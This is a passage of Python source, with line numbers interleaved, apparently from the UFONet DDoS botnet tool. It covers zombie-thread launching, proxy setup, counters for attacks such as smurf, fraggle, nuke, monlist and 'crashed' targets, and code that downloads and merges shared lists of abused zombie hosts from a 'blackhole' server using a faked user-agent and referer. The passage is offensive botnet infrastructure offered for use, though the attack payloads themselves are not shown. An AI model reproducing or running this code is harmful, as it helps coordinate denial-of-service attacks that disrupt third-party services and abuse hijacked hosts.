print('='*22 + '\n')
1622
upload_github_list = self.uploading_github_list()
1623
except Exception as e:
1624
print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
1625
if DEBUG == True:
1626
traceback.print_exc()
1627
return #sys.exit(2)
1628
1629
# starting new zombie thread
1630
def connect_zombies(self, zombie):
1631
z=Zombie(self, zombie)
1632
t = threading.Thread(target=z.connect, name=zombie)
1633
t.start()
1634
1635
# single connection handling
1636
def connect_zombie(self, zombie):
1637
z=Zombie(self,zombie)
1638
return z.connect()
1639
1640
def extract_proxy(self, proxy):
1641
sep = ":"
1642
proxy_ip = proxy.rsplit(sep, 1)[0]
1643
if proxy_ip.startswith('http://'):
1644
proxy_ip = proxy_ip.replace('http://', '')
1645
elif proxy_ip.startswith('https://'):
1646
proxy_ip = proxy_ip.replace('https://', '')
1647
if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
1648
proxy_ip = 'localhost'
1649
proxy_port = proxy.rsplit(sep, 1)[1]
1650
proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
1651
return proxy_url
1652
1653
def proxy_transport(self, proxy):
1654
proxy_url = self.extract_proxy(proxy)
1655
proxy = urllib.request.ProxyHandler({'https': proxy_url})
1656
opener = urllib.request.build_opener(proxy)
1657
urllib.request.install_opener(opener)
1658
1659
def check_mothership_chargo(self):
1660
f = open(self.zombies_file)
1661
self.zombies = f.readlines()
1662
self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
1663
self.list_zombies = []
1664
for zombie in self.zombies:
1665
t = urlparse(zombie)
1666
name_zombie = t.netloc
1667
if name_zombie == "":
1668
name_zombie = zombie
1669
self.list_zombies.append(name_zombie)
1670
self.num_zombies = str(len(self.zombies))
1671
f.close()
1672
f = open(self.aliens_file)
1673
self.aliens = f.readlines()
1674
self.aliens = [alien.replace('\n', '') for alien in self.aliens]
1675
self.list_aliens = []
1676
for alien in self.aliens:
1677
t = urlparse(alien)
1678
name_alien = t.netloc
1679
if name_alien == "":
1680
name_alien = alien
1681
self.list_aliens.append(name_alien)
1682
self.num_aliens = str(len(self.aliens))
1683
f.close()
1684
f = open(self.droids_file)
1685
self.droids = f.readlines()
1686
self.droids = [droid.replace('\n', '') for droid in self.droids]
1687
self.list_droids = []
1688
for droid in self.droids:
1689
t = urlparse(droid)
1690
name_droid = t.netloc
1691
if name_droid == "":
1692
name_droid = droid
1693
self.list_droids.append(name_droid)
1694
self.num_droids = str(len(self.droids))
1695
f.close()
1696
f = open(self.ucavs_file)
1697
self.ucavs = f.readlines()
1698
self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
1699
self.list_ucavs = []
1700
for ucav in self.ucavs:
1701
t = urlparse(ucav)
1702
name_ucav = t.netloc
1703
if name_ucav == "":
1704
name_ucav = ucav
1705
self.list_ucavs.append(name_ucav)
1706
self.num_ucavs = str(len(self.ucavs))
1707
f.close()
1708
f = open(self.rpcs_file)
1709
self.rpcs = f.readlines()
1710
self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
1711
self.list_rpcs = []
1712
for rpc in self.rpcs:
1713
t = urlparse(rpc)
1714
name_rpc = t.netloc
1715
if name_rpc == "":
1716
name_rpc = rpc
1717
self.list_rpcs.append(name_rpc)
1718
self.num_rpcs = str(len(self.rpcs))
1719
f.close()
1720
f = open(self.dnss_file)
1721
self.dnss = f.readlines()
1722
self.dnss = [dns.replace('\n', '') for dns in self.dnss]
1723
self.list_dnss = []
1724
for dns in self.dnss:
1725
t = urlparse(dns)
1726
name_dns = t.netloc
1727
if name_dns == "":
1728
name_dns = dns
1729
self.list_dnss.append(name_dns)
1730
self.num_dnss = str(len(self.dnss))
1731
f.close()
1732
f = open(self.ntps_file)
1733
self.ntps = f.readlines()
1734
self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
1735
self.list_ntps = []
1736
for ntp in self.ntps:
1737
t = urlparse(ntp)
1738
name_ntp = t.netloc
1739
if name_ntp == "":
1740
name_ntp = ntp
1741
self.list_ntps.append(name_ntp)
1742
self.num_ntps = str(len(self.ntps))
1743
f.close()
1744
f = open(self.snmps_file)
1745
self.snmps = f.readlines()
1746
self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
1747
self.list_snmps = []
1748
for snmp in self.snmps:
1749
t = urlparse(snmp)
1750
name_snmp = t.netloc
1751
if name_snmp == "":
1752
name_snmp = snmp
1753
self.list_snmps.append(name_snmp)
1754
self.num_snmps = str(len(self.snmps))
1755
f.close()
1756
self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
1757
return self.total_botnet
1758
1759
def update_flying_stats(self):
1760
if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
1761
with open(self.mothership_stats_file, "w") as f:
1762
json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
1763
stats_json_file = open(self.mothership_stats_file, "r")
1764
data = json.load(stats_json_file)
1765
stats_json_file.close()
1766
aflying = data["flying"]
1767
aflying = str(int(aflying) + 1) # add new flying time
1768
data["flying"] = aflying
1769
stats_json_file = open(self.mothership_stats_file, "w+")
1770
stats_json_file.write(json.dumps(data))
1771
stats_json_file.close()
1772
1773
def update_mothership_stats(self):
1774
stats_json_file = open(self.mothership_stats_file, "r")
1775
data = json.load(stats_json_file)
1776
stats_json_file.close()
1777
acompleted = data["completed"]
1778
acompleted = str(int(acompleted) + 1) # add new completed attack
1779
data["completed"] = acompleted
1780
stats_json_file = open(self.mothership_stats_file, "w+")
1781
stats_json_file.write(json.dumps(data))
1782
stats_json_file.close()
1783
1784
def update_targets_crashed(self):
1785
stats_json_file = open(self.mothership_stats_file, "r")
1786
data = json.load(stats_json_file)
1787
stats_json_file.close()
1788
tcrashed = data["crashed"]
1789
tcrashed = str(int(tcrashed) + 1) # add new crashed target
1790
data["crashed"] = tcrashed
1791
stats_json_file = open(self.mothership_stats_file, "w+")
1792
stats_json_file.write(json.dumps(data))
1793
stats_json_file.close()
1794
1795
def update_missions_stats(self):
1796
stats_json_file = open(self.mothership_stats_file, "r")
1797
data = json.load(stats_json_file)
1798
stats_json_file.close()
1799
missions = data["missions"]
1800
missions = str(int(missions) + 1) # add new mission target
1801
data["missions"] = missions
1802
stats_json_file = open(self.mothership_stats_file, "w+")
1803
stats_json_file.write(json.dumps(data))
1804
stats_json_file.close()
1805
1806
def update_scanner_stats(self, num):
1807
stats_json_file = open(self.mothership_stats_file, "r")
1808
data = json.load(stats_json_file)
1809
stats_json_file.close()
1810
scanner = data["scanner"]
1811
scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
1812
data["scanner"] = scanner
1813
stats_json_file = open(self.mothership_stats_file, "w+")
1814
stats_json_file.write(json.dumps(data))
1815
stats_json_file.close()
1816
1817
def update_transferred_stats(self, num):
1818
stats_json_file = open(self.mothership_stats_file, "r")
1819
data = json.load(stats_json_file)
1820
stats_json_file.close()
1821
transferred = data["transferred"]
1822
transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
1823
data["transferred"] = transferred
1824
stats_json_file = open(self.mothership_stats_file, "w+")
1825
stats_json_file.write(json.dumps(data))
1826
stats_json_file.close()
1827
1828
def update_max_chargo(self, chargo):
1829
stats_json_file = open(self.mothership_stats_file, "r")
1830
data = json.load(stats_json_file)
1831
stats_json_file.close()
1832
amax_chargo = data["max_chargo"]
1833
if int(chargo) > int(amax_chargo): # new max chargo found
1834
amax_chargo = chargo # add new max chargo
1835
else:
1836
amax_chargo = data["max_chargo"]
1837
data["max_chargo"] = amax_chargo
1838
stats_json_file = open(self.mothership_stats_file, "w+")
1839
stats_json_file.write(json.dumps(data))
1840
stats_json_file.close()
1841
1842
def update_loic_stats(self):
1843
stats_json_file = open(self.mothership_stats_file, "r")
1844
data = json.load(stats_json_file)
1845
stats_json_file.close()
1846
aloic = data["loic"]
1847
aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
1848
self.total_loic = self.total_loic + 1 # add new loic attack to session stats
1849
data["loic"] = aloic
1850
stats_json_file = open(self.mothership_stats_file, "w+")
1851
stats_json_file.write(json.dumps(data))
1852
stats_json_file.close()
1853
1854
def update_loris_stats(self):
1855
stats_json_file = open(self.mothership_stats_file, "r")
1856
data = json.load(stats_json_file)
1857
stats_json_file.close()
1858
aloris = data["loris"]
1859
aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
1860
self.total_loris = self.total_loris + 1 # add new loris attack to session stats
1861
data["loris"] = aloris
1862
stats_json_file = open(self.mothership_stats_file, "w+")
1863
stats_json_file.write(json.dumps(data))
1864
stats_json_file.close()
1865
1866
def update_ufosyn_stats(self):
1867
stats_json_file = open(self.mothership_stats_file, "r")
1868
data = json.load(stats_json_file)
1869
stats_json_file.close()
1870
aufosyn = data["ufosyn"]
1871
aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
1872
self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
1873
data["ufosyn"] = aufosyn
1874
stats_json_file = open(self.mothership_stats_file, "w+")
1875
stats_json_file.write(json.dumps(data))
1876
stats_json_file.close()
1877
1878
def update_spray_stats(self):
1879
stats_json_file = open(self.mothership_stats_file, "r")
1880
data = json.load(stats_json_file)
1881
stats_json_file.close()
1882
aspray = data["spray"]
1883
aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
1884
self.total_spray = self.total_spray + 1 # add new spray attack to session stats
1885
data["spray"] = aspray
1886
stats_json_file = open(self.mothership_stats_file, "w+")
1887
stats_json_file.write(json.dumps(data))
1888
stats_json_file.close()
1889
1890
def update_smurf_stats(self):
1891
stats_json_file = open(self.mothership_stats_file, "r")
1892
data = json.load(stats_json_file)
1893
stats_json_file.close()
1894
asmurf = data["smurf"]
1895
asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
1896
self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
1897
data["smurf"] = asmurf
1898
stats_json_file = open(self.mothership_stats_file, "w+")
1899
stats_json_file.write(json.dumps(data))
1900
stats_json_file.close()
1901
1902
def update_fraggle_stats(self):
1903
stats_json_file = open(self.mothership_stats_file, "r")
1904
data = json.load(stats_json_file)
1905
stats_json_file.close()
1906
afraggle = data["fraggle"]
1907
afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
1908
self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
1909
data["fraggle"] = afraggle
1910
stats_json_file = open(self.mothership_stats_file, "w+")
1911
stats_json_file.write(json.dumps(data))
1912
stats_json_file.close()
1913
1914
def update_xmas_stats(self):
1915
stats_json_file = open(self.mothership_stats_file, "r")
1916
data = json.load(stats_json_file)
1917
stats_json_file.close()
1918
axmas = data["xmas"]
1919
axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
1920
self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
1921
data["xmas"] = axmas
1922
stats_json_file = open(self.mothership_stats_file, "w+")
1923
stats_json_file.write(json.dumps(data))
1924
stats_json_file.close()
1925
1926
def update_ufoack_stats(self):
1927
stats_json_file = open(self.mothership_stats_file, "r")
1928
data = json.load(stats_json_file)
1929
stats_json_file.close()
1930
aufoack = data["ufoack"]
1931
aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
1932
self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
1933
data["ufoack"] = aufoack
1934
stats_json_file = open(self.mothership_stats_file, "w+")
1935
stats_json_file.write(json.dumps(data))
1936
stats_json_file.close()
1937
1938
def update_uforst_stats(self):
1939
stats_json_file = open(self.mothership_stats_file, "r")
1940
data = json.load(stats_json_file)
1941
stats_json_file.close()
1942
auforst = data["uforst"]
1943
auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
1944
self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
1945
data["uforst"] = auforst
1946
stats_json_file = open(self.mothership_stats_file, "w+")
1947
stats_json_file.write(json.dumps(data))
1948
stats_json_file.close()
1949
1950
def update_droper_stats(self):
1951
stats_json_file = open(self.mothership_stats_file, "r")
1952
data = json.load(stats_json_file)
1953
stats_json_file.close()
1954
adroper = data["droper"]
1955
adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
1956
self.total_droper = self.total_droper + 1 # add new droper attack to session stats
1957
data["droper"] = adroper
1958
stats_json_file = open(self.mothership_stats_file, "w+")
1959
stats_json_file.write(json.dumps(data))
1960
stats_json_file.close()
1961
1962
def update_overlap_stats(self):
1963
stats_json_file = open(self.mothership_stats_file, "r")
1964
data = json.load(stats_json_file)
1965
stats_json_file.close()
1966
aoverlap = data["overlap"]
1967
aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
1968
self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
1969
data["overlap"] = aoverlap
1970
stats_json_file = open(self.mothership_stats_file, "w+")
1971
stats_json_file.write(json.dumps(data))
1972
stats_json_file.close()
1973
1974
def update_pinger_stats(self):
1975
stats_json_file = open(self.mothership_stats_file, "r")
1976
data = json.load(stats_json_file)
1977
stats_json_file.close()
1978
apinger = data["pinger"]
1979
apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
1980
self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
1981
data["pinger"] = apinger
1982
stats_json_file = open(self.mothership_stats_file, "w+")
1983
stats_json_file.write(json.dumps(data))
1984
stats_json_file.close()
1985
1986
def update_ufoudp_stats(self):
1987
stats_json_file = open(self.mothership_stats_file, "r")
1988
data = json.load(stats_json_file)
1989
stats_json_file.close()
1990
aufoudp = data["ufoudp"]
1991
aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
1992
self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
1993
data["ufoudp"] = aufoudp
1994
stats_json_file = open(self.mothership_stats_file, "w+")
1995
stats_json_file.write(json.dumps(data))
1996
stats_json_file.close()
1997
1998
def update_nuke_stats(self):
1999
stats_json_file = open(self.mothership_stats_file, "r")
2000
data = json.load(stats_json_file)
2001
stats_json_file.close()
2002
anuke = data["nuke"]
2003
anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
2004
self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
2005
data["nuke"] = anuke
2006
stats_json_file = open(self.mothership_stats_file, "w+")
2007
stats_json_file.write(json.dumps(data))
2008
stats_json_file.close()
2009
2010
def update_tachyon_stats(self):
2011
stats_json_file = open(self.mothership_stats_file, "r")
2012
data = json.load(stats_json_file)
2013
stats_json_file.close()
2014
atachyon = data["tachyon"]
2015
atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
2016
self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
2017
data["tachyon"] = atachyon
2018
stats_json_file = open(self.mothership_stats_file, "w+")
2019
stats_json_file.write(json.dumps(data))
2020
stats_json_file.close()
2021
2022
def update_monlist_stats(self):
2023
stats_json_file = open(self.mothership_stats_file, "r")
2024
data = json.load(stats_json_file)
2025
stats_json_file.close()
2026
amonlist = data["monlist"]
2027
amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
2028
self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
2029
data["monlist"] = amonlist
2030
stats_json_file = open(self.mothership_stats_file, "w+")
2031
stats_json_file.write(json.dumps(data))
2032
stats_json_file.close()
2033
2034
def update_sniper_stats(self):
2035
stats_json_file = open(self.mothership_stats_file, "r")
2036
data = json.load(stats_json_file)
2037
stats_json_file.close()
2038
asniper = data["sniper"]
2039
asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
2040
self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
2041
data["sniper"] = asniper
2042
stats_json_file = open(self.mothership_stats_file, "w+")
2043
stats_json_file.write(json.dumps(data))
2044
stats_json_file.close()
2045
2046
def uploading_list(self):
2047
from io import BytesIO
2048
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
2049
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
2050
abductions = "botnet/abductions.txt.gz"
2051
troops = "botnet/troops.txt.gz"
2052
robots = "botnet/robots.txt.gz"
2053
drones = "botnet/drones.txt.gz"
2054
reflectors = "botnet/reflectors.txt.gz"
2055
crystals = "botnet/crystals.txt.gz"
2056
warps = "botnet/warps.txt.gz"
2057
bosons = "botnet/bosons.txt.gz"
2058
if self.options.timeout: # set timeout
2059
try:
2060
timeout = int(self.options.timeout)
2061
except:
2062
timeout = 5
2063
else:
2064
timeout = 5
2065
if timeout < 1:
2066
timeout = 5
2067
try:
2068
print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
2069
if self.options.forcessl:
2070
if self.options.proxy: # set proxy
2071
self.proxy_transport(options.proxy)
2072
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
2073
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2074
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
2075
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2076
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
2077
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2078
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
2079
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2080
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
2081
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2082
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
2083
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2084
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
2085
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2086
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
2087
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2088
else:
2089
if self.options.proxy: # set proxy
2090
self.proxy_transport(options.proxy)
2091
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
2092
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2093
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
2094
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2095
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
2096
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2097
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
2098
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2099
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
2100
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2101
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
2102
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2103
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
2104
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2105
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
2106
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2107
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
2108
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
2109
print('-'*12 + '\n')
2110
print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
2111
return
2112
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
2113
f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
2114
f_out_abductions = open('botnet/abductions.txt', 'wb')
2115
f_out_abductions.write(f_in_abductions.read())
2116
f_in_abductions.close()
2117
f_out_abductions.close()
2118
num_zombies = 0
2119
with open('botnet/abductions.txt') as f:
2120
for _ in f:
2121
num_zombies = num_zombies + 1
2122
print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
2123
f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
2124
f_out_robots = open('botnet/robots.txt', 'wb')
2125
f_out_robots.write(f_in_robots.read())
2126
f_in_robots.close()
2127
f_out_robots.close()
2128
num_robots = 0
2129
with open('botnet/robots.txt') as f:
2130
for _ in f:
2131
num_robots = num_robots + 1
2132
print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
2133
f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
2134
f_out_troops = open('botnet/troops.txt', 'wb')
2135
f_out_troops.write(f_in_troops.read())
2136
f_in_troops.close()
2137
f_out_troops.close()
2138
num_aliens = 0
2139
with open('botnet/aliens.txt') as f:
2140
for _ in f:
2141
num_aliens = num_aliens + 1
2142
print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
2143
f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
2144
f_out_drones = open('botnet/drones.txt', 'wb')
2145
f_out_drones.write(f_in_drones.read())
2146
f_in_drones.close()
2147
f_out_drones.close()
2148
num_drones = 0
2149
with open('botnet/drones.txt') as f:
2150
for _ in f:
2151
num_drones = num_drones + 1
2152
print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
2153
f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
2154
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
2155
f_out_reflectors.write(f_in_reflectors.read())
2156
f_in_reflectors.close()
2157
f_out_reflectors.close()
2158
num_reflectors = 0
2159
with open('botnet/reflectors.txt') as f:
2160
for _ in f:
2161
num_reflectors = num_reflectors + 1
2162
print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
2163
f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
2164
f_out_crystals = open('botnet/crystals.txt', 'wb')
2165
f_out_crystals.write(f_in_crystals.read())
2166
f_in_crystals.close()
2167
f_out_crystals.close()
2168
num_crystals = 0
2169
with open('botnet/crystals.txt') as f:
2170
for _ in f:
2171
num_crystals = num_crystals + 1
2172
print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
2173
f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
2174
f_out_warps = open('botnet/warps.txt', 'wb')
2175
f_out_warps.write(f_in_warps.read())
2176
f_in_warps.close()
2177
f_out_warps.close()
2178
num_warps = 0
2179
with open('botnet/warps.txt') as f:
2180
for _ in f:
2181
num_warps = num_warps + 1
2182
print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
2183
f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
2184
f_out_bosons = open('botnet/bosons.txt', 'wb')
2185
f_out_bosons.write(f_in_bosons.read())
2186
f_in_bosons.close()
2187
f_out_bosons.close()
2188
num_bosons = 0
2189
with open('botnet/bosons.txt') as f:
2190
for _ in f:
2191
num_bosons = num_bosons + 1
2192
print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
2193
print('-'*12 + '\n')
2194
if not self.options.forceyes:
2195
update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
2196
print('-'*25)
2197
else:
2198
update_reply = "Y"
2199
if update_reply == "n" or update_reply == "N":
2200
os.remove('botnet/abductions.txt') # remove abductions file
2201
os.remove('botnet/troops.txt') # remove troops file
2202
os.remove('botnet/robots.txt') # remove robots file
2203
os.remove('botnet/drones.txt') # remove drones file
2204
os.remove('botnet/reflectors.txt') # remove reflectors file
2205
os.remove('botnet/crystals.txt') # remove crystals file
2206
os.remove('botnet/warps.txt') # remove warps file
2207
os.remove('botnet/bosons.txt') # remove bosons file
2208
print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
2209
return
2210
else:
2211
print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
2212
print('='*35)
2213
zombies = self.extract_zombies()
2214
if not zombies:
2215
return
2216
test = self.testing(zombies)
2217
zombies_community = []
2218
zombies_added = 0
2219
f = open('botnet/abductions.txt')
2220
abductions = f.readlines()
2221
abductions = [abduction.strip() for abduction in abductions]
2222
f.close()
2223
fz = open(self.zombies_file)
2224
zombies = fz.readlines()
2225
zombies = [zombie.strip() for zombie in zombies]
2226
fz.close()
2227
for zombie in zombies:
2228
if zombie not in abductions:
2229
zombies_community.append(zombie)
2230
zombies_added = zombies_added + 1
2231
else:
2232
pass
2233
print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
2234
aliens = self.extract_aliens()
2235
if not aliens:
2236
return
2237
aliens_community = []
2238
aliens_added = 0
2239
f = open('botnet/troops.txt')
2240
troops = f.readlines()
2241
troops = [troop.strip() for troop in troops]
2242
f.close()
2243
fz = open(self.aliens_file)
2244
aliens = fz.readlines()
2245
aliens = [alien.strip() for alien in aliens]
2246
fz.close()
2247
for alien in aliens:
2248
if alien not in troops:
2249
aliens_community.append(alien)
2250
aliens_added = aliens_added + 1
2251
else:
2252
pass
2253
print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
2254
droids = self.extract_droids()
2255
if not droids:
2256
return
2257
droids_community = []
2258
droids_added = 0
2259
f = open('botnet/robots.txt')
2260
robots = f.readlines()
2261
robots = [robot.strip() for robot in robots]
2262
f.close()
2263
fz = open(self.droids_file)
2264
droids = fz.readlines()
2265
droids = [droid.strip() for droid in droids]
2266
fz.close()
2267
for droid in droids:
2268
if droid not in robots:
2269
droids_community.append(droid)
2270
droids_added = droids_added + 1
2271
else:
2272
pass
2273
print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
2274
ucavs = self.extract_ucavs()
2275
if not ucavs:
2276
return
2277
ucavs_community = []
2278
ucavs_added = 0
2279
f = open('botnet/drones.txt')
2280
drones = f.readlines()
2281
drones = [drone.strip() for drone in drones]
2282
f.close()
2283
fz = open(self.ucavs_file)
2284
ucavs = fz.readlines()
2285
ucavs = [ucav.strip() for ucav in ucavs]
2286
fz.close()
2287
for ucav in ucavs:
2288
if ucav not in drones:
2289
ucavs_community.append(ucav)
2290
ucavs_added = ucavs_added + 1
2291
else:
2292
pass
2293
print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
2294
rpcs = self.extract_rpcs()
2295
if not rpcs:
2296
return
2297
rpcs_community = []
2298
rpcs_added = 0
2299
f = open('botnet/reflectors.txt')
2300
reflectors = f.readlines()
2301
reflectors = [reflector.strip() for reflector in reflectors]
2302
f.close()
2303
fz = open(self.rpcs_file)
2304
rpcs = fz.readlines()
2305
rpcs = [rpc.strip() for rpc in rpcs]
2306
fz.close()
2307
for rpc in rpcs:
2308
if rpc not in reflectors:
2309
rpcs_community.append(rpc)
2310
rpcs_added = rpcs_added + 1
2311
else:
2312
pass
2313
print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
2314
ntps = self.extract_ntps()
2315
if not ntps:
2316
return
2317
ntps_community = []
2318
ntps_added = 0
2319
f = open('botnet/crystals.txt')
2320
crystals = f.readlines()
2321
crystals = [crystal.strip() for crystal in crystals]
2322
f.close()
2323
fz = open(self.ntps_file)
2324
ntps = fz.readlines()
2325
ntps = [ntp.strip() for ntp in ntps]
2326
fz.close()
2327
for ntp in ntps:
2328
if ntp not in crystals:
2329
ntps_community.append(ntp)
2330
ntps_added = ntps_added + 1
2331
else:
2332
pass
2333
print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
2334
dnss = self.extract_dnss()
2335
if not dnss:
2336
return
2337
dnss_community = []
2338
dnss_added = 0
2339
f = open('botnet/warps.txt')
2340
warps = f.readlines()
2341
warps = [warp.strip() for warp in warps]
2342
f.close()
2343
fz = open(self.dnss_file)
2344
dnss = fz.readlines()
2345
dnss = [dns.strip() for dns in dnss]
2346
fz.close()
2347
for dns in dnss:
2348
if dns not in warps:
2349
dnss_community.append(dns)
2350
dnss_added = dnss_added + 1
2351
else:
2352
pass
2353
print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
2354
snmps = self.extract_snmps()
2355
if not snmps:
2356
return
2357
snmps_community = []
2358
snmps_added = 0
2359
f = open('botnet/bosons.txt')
2360
bosons = f.readlines()
2361
bosons = [boson.strip() for boson in bosons]
2362
f.close()
2363
fz = open(self.snmps_file)
2364
snmps = fz.readlines()
2365
snmps = [snmp.strip() for snmp in snmps]
2366
fz.close()
2367
for snmp in snmps:
2368
if snmp not in crystals:
2369
snmps_community.append(snmp)
2370
snmps_added = snmps_added + 1
2371
else:
2372
pass
2373
print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
2374
print('-'*12 + '\n')
2375
